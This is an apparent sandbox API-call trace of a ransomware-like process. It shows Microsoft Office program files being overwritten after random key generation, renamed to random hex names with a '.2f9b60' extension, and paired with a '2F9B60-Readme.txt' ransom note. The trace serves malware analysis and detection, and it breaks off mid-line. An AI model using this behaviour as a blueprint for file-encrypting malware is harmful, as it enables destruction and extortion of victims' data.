[0160.895] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e810) returned 1 [0160.895] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420595b0) returned 1 [0160.895] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x146) returned 0x1cebcc10 [0160.895] SetFilePointerEx (in: hFile=0xad0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0160.895] WriteFile (in: hFile=0xad0, lpBuffer=0x1cebcc10*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x26e5f690, lpOverlapped=0x0 | out: lpBuffer=0x1cebcc10*, lpNumberOfBytesWritten=0x26e5f690*=0x146, lpOverlapped=0x0) returned 1 [0165.338] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059290 [0165.338] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869640 [0165.338] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050df90 [0165.338] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050df90) returned 1 [0165.338] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d1c0 [0165.339] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050df90 [0165.339] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f2b0 [0165.339] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f2b0) returned 1 [0165.339] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869640) returned 1 [0165.340] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059290) returned 1 [0165.340] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1cd9fc70 [0165.340] sprintf (in: _Dest=0x1cd9fc70, _Format="%c%c" | out: _Dest="88") returned 2 [0165.340] sprintf (in: _Dest=0x1cd9fc72, _Format="%c%c" | out: _Dest="bd") returned 2 [0165.340] sprintf (in: _Dest=0x1cd9fc74, _Format="%c%c" | out: _Dest="51") returned 2 [0165.340] sprintf (in: _Dest=0x1cd9fc76, _Format="%c%c" | out: _Dest="93") returned 2 [0165.340] sprintf (in: _Dest=0x1cd9fc78, _Format="%c%c" | out: _Dest="d2") returned 2 [0165.340] sprintf (in: _Dest=0x1cd9fc7a, _Format="%c%c" | out: _Dest="bd") returned 2 [0165.340] sprintf (in: _Dest=0x1cd9fc7c, _Format="%c%c" | out: _Dest="07") returned 2 [0165.340] sprintf (in: _Dest=0x1cd9fc7e, _Format="%c%c" | out: _Dest="d9") returned 2 [0165.340] sprintf (in: _Dest=0x1cd9fc80, _Format="%c%c" | out: _Dest="5c") returned 2 [0165.340] sprintf (in: _Dest=0x1cd9fc82, _Format="%c%c" | out: _Dest="31") returned 2 [0165.340] sprintf (in: _Dest=0x1cd9fc84, _Format="%c%c" | out: _Dest="11") returned 2 [0165.340] sprintf (in: _Dest=0x1cd9fc86, _Format="%c%c" | out: _Dest="2b") returned 2 [0165.340] sprintf (in: _Dest=0x1cd9fc88, _Format="%c%c" | out: _Dest="e6") returned 2 [0165.340] sprintf (in: _Dest=0x1cd9fc8a, _Format="%c%c" | out: _Dest="42") returned 2 [0165.340] sprintf (in: _Dest=0x1cd9fc8c, _Format="%c%c" | out: _Dest="54") returned 2 [0165.340] sprintf (in: _Dest=0x1cd9fc8e, _Format="%c%c" | out: _Dest="f4") returned 2 [0165.340] sprintf (in: _Dest=0x1cd9fc90, _Format="%c%c" | out: _Dest="a6") returned 2 [0165.340] sprintf (in: _Dest=0x1cd9fc92, _Format="%c%c" | out: _Dest="39") returned 2 [0165.340] sprintf (in: _Dest=0x1cd9fc94, _Format="%c%c" | out: _Dest="db") returned 2 [0165.340] sprintf (in: _Dest=0x1cd9fc96, _Format="%c%c" | out: _Dest="d5") returned 2 [0165.340] RtlInitAnsiString (in: DestinationString=0x26e5f708, SourceString="88bd5193d2bd07d95c31112be64254f4a639dbd5" | out: DestinationString="88bd5193d2bd07d95c31112be64254f4a639dbd5") [0165.340] RtlAnsiStringToUnicodeString (in: DestinationString=0x26e5f6d8, SourceString="88bd5193d2bd07d95c31112be64254f4a639dbd5", AllocateDestinationString=1 | out: DestinationString="88bd5193d2bd07d95c31112be64254f4a639dbd5") returned 0x0 [0165.340] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1cd864f0 [0165.341] RtlFreeAnsiString (AnsiString="8") [0165.341] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9fc70) returned 1 [0165.342] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0165.342] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050df90) returned 1 [0165.342] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebcc10) returned 1 [0165.342] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2780) returned 1 [0165.342] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2810) returned 1 [0165.343] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f790) returned 1 [0165.343] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c2440) returned 1 [0165.343] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b110) returned 1 [0165.343] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b1a0) returned 1 [0165.343] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b1d0) returned 1 [0165.343] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x42c22360 [0165.344] wcscat (in: _Dest=0x42c22360, _Source="88bd5193d2" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\88bd5193d2") returned="C:\\Program Files\\Microsoft Office\\Office14\\88bd5193d2" [0165.344] wcscat (in: _Dest=0x42c22360, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\88bd5193d2.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\88bd5193d2.2f9b60" [0165.344] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\88bd5193d2.2f9b60", NtPathName=0x26e5f6b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\88bd5193d2.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0165.344] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x42c306d0 [0165.349] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c306d0) returned 1 [0165.349] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c32db0) returned 1 [0165.349] NtQueryInformationFile (in: FileHandle=0xad0, IoStatusBlock=0x26e5f718, FileInformation=0x26e5f728, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x26e5f718, FileInformation=0x26e5f728) returned 0x0 [0165.349] NtSetInformationFile (FileHandle=0xad0, IoStatusBlock=0x26e5f718, FileInformation=0x26e5f728, Length=0x28, FileInformationClass=0x4) returned 0x0 [0166.340] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c22360) returned 1 [0166.340] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd864f0) returned 1 [0166.341] FlushFileBuffers (hFile=0xad0) returned 1 [0187.652] CloseHandle (hObject=0xad0) returned 1 [0199.628] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x205099f0 [0199.629] wcscpy (in: _Dest=0x205099f0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0199.629] wcscat (in: _Dest=0x205099f0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt" [0199.629] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\2f9b60-readme.txt")) returned 0x20 [0199.629] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205099f0) returned 1 [0199.629] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d990) returned 1 Thread: id = 395 os_tid = 0xf5c [0090.131] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Graph.exe.manifest" (normalized: "c:\\program files\\microsoft office\\office14\\graph.exe.manifest")) returned 0x20 [0090.309] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Graph.exe.manifest", dwFileAttributes=0x20) returned 1 [0090.361] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Graph.exe.manifest" (normalized: "c:\\program files\\microsoft office\\office14\\graph.exe.manifest"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xacc [0090.361] GetFileSizeEx (in: hFile=0xacc, lpFileSize=0x26d7f700 | out: lpFileSize=0x26d7f700*=960) returned 1 [0090.361] SetFilePointerEx (in: hFile=0xacc, liDistanceToMove=0x3bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.361] ReadFile (in: hFile=0xacc, lpBuffer=0x26d7f680, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x26d7f6c8, lpOverlapped=0x0 | out: lpBuffer=0x26d7f680*, lpNumberOfBytesRead=0x26d7f6c8*=0x4, lpOverlapped=0x0) returned 1 [0090.402] SetFilePointerEx (in: hFile=0xacc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.402] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859eb0 [0090.402] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859d30 [0090.402] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a270 [0090.402] NtQuerySystemTime (in: CurrentTime=0x26d7f5c0 | out: CurrentTime=0x26d7f5c0*=132462176962594000) returned 0x0 [0090.402] RtlRandomEx (in: Seed=0x26d7f5b0 | out: Seed=0x26d7f5b0) returned 0xf832725 [0090.402] RtlRandomEx (in: Seed=0x26d7f5b0 | out: Seed=0x26d7f5b0) returned 0xb337300 [0090.403] RtlRandomEx (in: Seed=0x26d7f5b0 | out: Seed=0x26d7f5b0) returned 0x39d51d91 [0090.403] RtlRandomEx (in: Seed=0x26d7f5b0 | out: Seed=0x26d7f5b0) returned 0x68caef02 [0090.403] RtlRandomEx (in: Seed=0x26d7f5b0 | out: Seed=0x26d7f5b0) returned 0x58d568fb [0090.403] RtlRandomEx (in: Seed=0x26d7f5b0 | out: Seed=0x26d7f5b0) returned 0x6526caff [0090.403] RtlRandomEx (in: Seed=0x26d7f5b0 | out: Seed=0x26d7f5b0) returned 0x1d011a47 [0090.403] RtlRandomEx (in: Seed=0x26d7f5b0 | out: Seed=0x26d7f5b0) returned 0x3661e9c2 [0090.403] RtlRandomEx (in: Seed=0x26d7f5b0 | out: Seed=0x26d7f5b0) returned 0x6a98a3cc [0090.403] RtlRandomEx (in: Seed=0x26d7f5b0 | out: Seed=0x26d7f5b0) returned 0x51c03293 [0090.403] RtlRandomEx (in: Seed=0x26d7f5b0 | out: Seed=0x26d7f5b0) returned 0x2deb67fc [0090.403] RtlRandomEx (in: Seed=0x26d7f5b0 | out: Seed=0x26d7f5b0) returned 0x26a8d75e [0090.403] RtlRandomEx (in: Seed=0x26d7f5b0 | out: Seed=0x26d7f5b0) returned 0x7ac03bb6 [0090.403] RtlRandomEx (in: Seed=0x26d7f5b0 | out: Seed=0x26d7f5b0) returned 0x66d99986 [0090.403] RtlRandomEx (in: Seed=0x26d7f5b0 | out: Seed=0x26d7f5b0) returned 0x36850d44 [0090.403] RtlRandomEx (in: Seed=0x26d7f5b0 | out: Seed=0x26d7f5b0) returned 0x4486a8cc [0090.403] RtlRandomEx (in: Seed=0x26d7f5b0 | out: Seed=0x26d7f5b0) returned 0x792e358e [0090.403] RtlRandomEx (in: Seed=0x26d7f5b0 | out: Seed=0x26d7f5b0) returned 0x299b3352 [0090.403] RtlRandomEx (in: Seed=0x26d7f5b0 | out: Seed=0x26d7f5b0) returned 0xe2a8848 [0090.403] RtlRandomEx (in: Seed=0x26d7f5b0 | out: Seed=0x26d7f5b0) returned 0x64ce96 [0090.403] RtlRandomEx (in: Seed=0x26d7f5b0 | out: Seed=0x26d7f5b0) returned 0x68c73f27 [0090.403] RtlRandomEx (in: Seed=0x26d7f5b0 | out: Seed=0x26d7f5b0) returned 0x6f03eb89 [0090.403] RtlRandomEx (in: Seed=0x26d7f5b0 | out: Seed=0x26d7f5b0) returned 0x169f395f [0090.403] RtlRandomEx (in: Seed=0x26d7f5b0 | out: Seed=0x26d7f5b0) returned 0x3a554e79 [0090.403] RtlRandomEx (in: Seed=0x26d7f5b0 | out: Seed=0x26d7f5b0) returned 0x745b7299 [0090.403] RtlRandomEx (in: Seed=0x26d7f5b0 | out: Seed=0x26d7f5b0) returned 0x279ec707 [0090.403] RtlRandomEx (in: Seed=0x26d7f5b0 | out: Seed=0x26d7f5b0) returned 0x7fb0de52 [0090.403] RtlRandomEx (in: Seed=0x26d7f5b0 | out: Seed=0x26d7f5b0) returned 0x27b50abe [0090.403] RtlRandomEx (in: Seed=0x26d7f5b0 | out: Seed=0x26d7f5b0) returned 0x31b97012 [0090.403] RtlRandomEx (in: Seed=0x26d7f5b0 | out: Seed=0x26d7f5b0) returned 0x4cf61992 [0090.403] RtlRandomEx (in: Seed=0x26d7f5b0 | out: Seed=0x26d7f5b0) returned 0x4916a24b [0090.403] RtlRandomEx (in: Seed=0x26d7f5b0 | out: Seed=0x26d7f5b0) returned 0x42cbc31d [0090.412] ReadFile (in: hFile=0xacc, lpBuffer=0x1cef4a70, nNumberOfBytesToRead=0x3c0, lpNumberOfBytesRead=0x26d7f5b0, lpOverlapped=0x0 | out: lpBuffer=0x1cef4a70*, lpNumberOfBytesRead=0x26d7f5b0*=0x3c0, lpOverlapped=0x0) returned 1 [0090.412] SetFilePointerEx (in: hFile=0xacc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.412] WriteFile (in: hFile=0xacc, lpBuffer=0x1cef8680*, nNumberOfBytesToWrite=0x3c0, lpNumberOfBytesWritten=0x26d7f5b4, lpOverlapped=0x0 | out: lpBuffer=0x1cef8680*, lpNumberOfBytesWritten=0x26d7f5b4*=0x3c0, lpOverlapped=0x0) returned 1 [0098.412] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f5e0 [0098.412] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fbb0 [0098.412] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fbb0) returned 1 [0098.412] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cef8680) returned 1 [0098.412] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cef4a70) returned 1 [0098.412] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e790) returned 1 [0098.412] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0098.412] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x1cd9f9f0 [0098.412] SetFilePointerEx (in: hFile=0xacc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0098.412] WriteFile (in: hFile=0xacc, lpBuffer=0x1673a0*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x26d7f6d0, lpOverlapped=0x0 | out: lpBuffer=0x1673a0*, lpNumberOfBytesWritten=0x26d7f6d0*=0x116, lpOverlapped=0x0) returned 1 [0101.546] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97670 [0101.546] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869fc0 [0101.546] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a330 [0101.546] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a330) returned 1 [0101.546] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1b85a330 [0101.547] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859e50 [0101.547] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a3c0 [0101.547] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a3c0) returned 1 [0101.547] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869fc0) returned 1 [0101.547] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97670) returned 1 [0101.547] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x49) returned 0x1cd86910 [0101.547] sprintf (in: _Dest=0x1cd86910, _Format="%c%c" | out: _Dest="88") returned 2 [0101.547] sprintf (in: _Dest=0x1cd86912, _Format="%c%c" | out: _Dest="f5") returned 2 [0101.547] sprintf (in: _Dest=0x1cd86914, _Format="%c%c" | out: _Dest="32") returned 2 [0101.547] sprintf (in: _Dest=0x1cd86916, _Format="%c%c" | out: _Dest="0f") returned 2 [0101.547] sprintf (in: _Dest=0x1cd86918, _Format="%c%c" | out: _Dest="5e") returned 2 [0101.547] sprintf (in: _Dest=0x1cd8691a, _Format="%c%c" | out: _Dest="9c") returned 2 [0101.547] sprintf (in: _Dest=0x1cd8691c, _Format="%c%c" | out: _Dest="84") returned 2 [0101.547] sprintf (in: _Dest=0x1cd8691e, _Format="%c%c" | out: _Dest="2f") returned 2 [0101.547] sprintf (in: _Dest=0x1cd86920, _Format="%c%c" | out: _Dest="fb") returned 2 [0101.547] sprintf (in: _Dest=0x1cd86922, _Format="%c%c" | out: _Dest="39") returned 2 [0101.547] sprintf (in: _Dest=0x1cd86924, _Format="%c%c" | out: _Dest="1c") returned 2 [0101.547] sprintf (in: _Dest=0x1cd86926, _Format="%c%c" | out: _Dest="cf") returned 2 [0101.547] sprintf (in: _Dest=0x1cd86928, _Format="%c%c" | out: _Dest="a2") returned 2 [0101.547] sprintf (in: _Dest=0x1cd8692a, _Format="%c%c" | out: _Dest="de") returned 2 [0101.548] sprintf (in: _Dest=0x1cd8692c, _Format="%c%c" | out: _Dest="6d") returned 2 [0101.548] sprintf (in: _Dest=0x1cd8692e, _Format="%c%c" | out: _Dest="46") returned 2 [0101.548] sprintf (in: _Dest=0x1cd86930, _Format="%c%c" | out: _Dest="b5") returned 2 [0101.548] sprintf (in: _Dest=0x1cd86932, _Format="%c%c" | out: _Dest="3c") returned 2 [0101.548] sprintf (in: _Dest=0x1cd86934, _Format="%c%c" | out: _Dest="f7") returned 2 [0101.548] sprintf (in: _Dest=0x1cd86936, _Format="%c%c" | out: _Dest="68") returned 2 [0101.548] sprintf (in: _Dest=0x1cd86938, _Format="%c%c" | out: _Dest="87") returned 2 [0101.548] sprintf (in: _Dest=0x1cd8693a, _Format="%c%c" | out: _Dest="a3") returned 2 [0101.548] sprintf (in: _Dest=0x1cd8693c, _Format="%c%c" | out: _Dest="1b") returned 2 [0101.548] sprintf (in: _Dest=0x1cd8693e, _Format="%c%c" | out: _Dest="7d") returned 2 [0101.548] sprintf (in: _Dest=0x1cd86940, _Format="%c%c" | out: _Dest="1f") returned 2 [0101.548] sprintf (in: _Dest=0x1cd86942, _Format="%c%c" | out: _Dest="e6") returned 2 [0101.548] sprintf (in: _Dest=0x1cd86944, _Format="%c%c" | out: _Dest="0e") returned 2 [0101.548] sprintf (in: _Dest=0x1cd86946, _Format="%c%c" | out: _Dest="91") returned 2 [0101.548] sprintf (in: _Dest=0x1cd86948, _Format="%c%c" | out: _Dest="b7") returned 2 [0101.548] sprintf (in: _Dest=0x1cd8694a, _Format="%c%c" | out: _Dest="c3") returned 2 [0101.548] sprintf (in: _Dest=0x1cd8694c, _Format="%c%c" | out: _Dest="a7") returned 2 [0101.548] sprintf (in: _Dest=0x1cd8694e, _Format="%c%c" | out: _Dest="a1") returned 2 [0101.548] sprintf (in: _Dest=0x1cd86950, _Format="%c%c" | out: _Dest="aa") returned 2 [0101.548] sprintf (in: _Dest=0x1cd86952, _Format="%c%c" | out: _Dest="a5") returned 2 [0101.548] sprintf (in: _Dest=0x1cd86954, _Format="%c%c" | out: _Dest="aa") returned 2 [0101.549] sprintf (in: _Dest=0x1cd86956, _Format="%c%c" | out: _Dest="17") returned 2 [0101.549] RtlInitAnsiString (in: DestinationString=0x26d7f748, SourceString="88f5320f5e9c842ffb391ccfa2de6d46b53cf76887a31b7d1fe60e91b7c3a7a1aaa5aa17" | out: DestinationString="88f5320f5e9c842ffb391ccfa2de6d46b53cf76887a31b7d1fe60e91b7c3a7a1aaa5aa17") [0101.549] RtlAnsiStringToUnicodeString (in: DestinationString=0x26d7f718, SourceString="88f5320f5e9c842ffb391ccfa2de6d46b53cf76887a31b7d1fe60e91b7c3a7a1aaa5aa17", AllocateDestinationString=1 | out: DestinationString="88f5320f5e9c842ffb391ccfa2de6d46b53cf76887a31b7d1fe60e91b7c3a7a1aaa5aa17") returned 0x0 [0101.549] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x202b1690 [0101.549] wcscat (in: _Dest=0x202b15f0, _Source="88f5320f5e9c842ffb" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\88f5320f5e9c842ffb") returned="C:\\Program Files\\Microsoft Office\\Office14\\88f5320f5e9c842ffb" [0101.549] wcscat (in: _Dest=0x202b15f0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\88f5320f5e9c842ffb.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\88f5320f5e9c842ffb.2f9b60" [0101.549] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\88f5320f5e9c842ffb.2f9b60", NtPathName=0x26d7f6f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\88f5320f5e9c842ffb.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0101.549] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050b690 [0102.773] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050b690) returned 1 [0102.773] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d8c0) returned 1 [0102.773] NtQueryInformationFile (in: FileHandle=0xacc, IoStatusBlock=0x26d7f758, FileInformation=0x26d7f768, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x26d7f758, FileInformation=0x26d7f768) returned 0x0 [0102.773] NtSetInformationFile (FileHandle=0xacc, IoStatusBlock=0x26d7f758, FileInformation=0x26d7f768, Length=0x28, FileInformationClass=0x4) returned 0x0 [0103.875] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b15f0) returned 1 [0103.875] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1690) returned 1 [0103.875] FlushFileBuffers (hFile=0xacc) returned 1 [0103.877] CloseHandle (hObject=0xacc) returned 1 [0104.115] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x2050a800 [0104.115] wcscpy (in: _Dest=0x2050a800, _Source="C:\\Program Files\\Microsoft Office\\Office14\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0104.115] wcscat (in: _Dest=0x2050a800, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt" [0104.115] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\2f9b60-readme.txt")) returned 0x20 [0104.116] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050a800) returned 1 [0104.116] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85c210) returned 1 Thread: id = 396 os_tid = 0xf60 [0090.133] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x68) returned 0x1b86e5d0 [0090.134] wcscpy (in: _Dest=0x1b86e5d0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove" [0090.134] wcscat (in: _Dest=0x1b86e5d0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\" [0090.134] wcscat (in: _Dest=0x1b86e5d0, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\*" [0090.134] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce58780 [0090.134] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\*", lpFindFileData=0x1ce58780 | out: lpFindFileData=0x1ce58780*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x582abeb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x582abeb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d910 [0090.277] wcscmp (_String1=".", _String2=".") returned 0 [0090.277] FindNextFileW (in: hFindFile=0x1cd9d910, lpFindFileData=0x1ce58780 | out: lpFindFileData=0x1ce58780*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x582abeb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x582abeb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.280] wcscmp (_String1="..", _String2=".") returned 1 [0090.280] wcscmp (_String1="..", _String2="..") returned 0 [0090.281] FindNextFileW (in: hFindFile=0x1cd9d910, lpFindFileData=0x1ce58780 | out: lpFindFileData=0x1ce58780*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5e490770, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Certificates", cAlternateFileName="CERTIF~1")) returned 1 [0090.281] wcscmp (_String1="Certificates", _String2=".") returned 1 [0090.281] wcscmp (_String1="Certificates", _String2="..") returned 1 [0090.281] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1b85ba30 [0090.281] wcscpy (in: _Dest=0x1b85ba30, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove" [0090.281] wcscat (in: _Dest=0x1b85ba30, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\" [0090.281] wcscat (in: _Dest=0x1b85ba30, _Source="Certificates" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates" [0097.062] 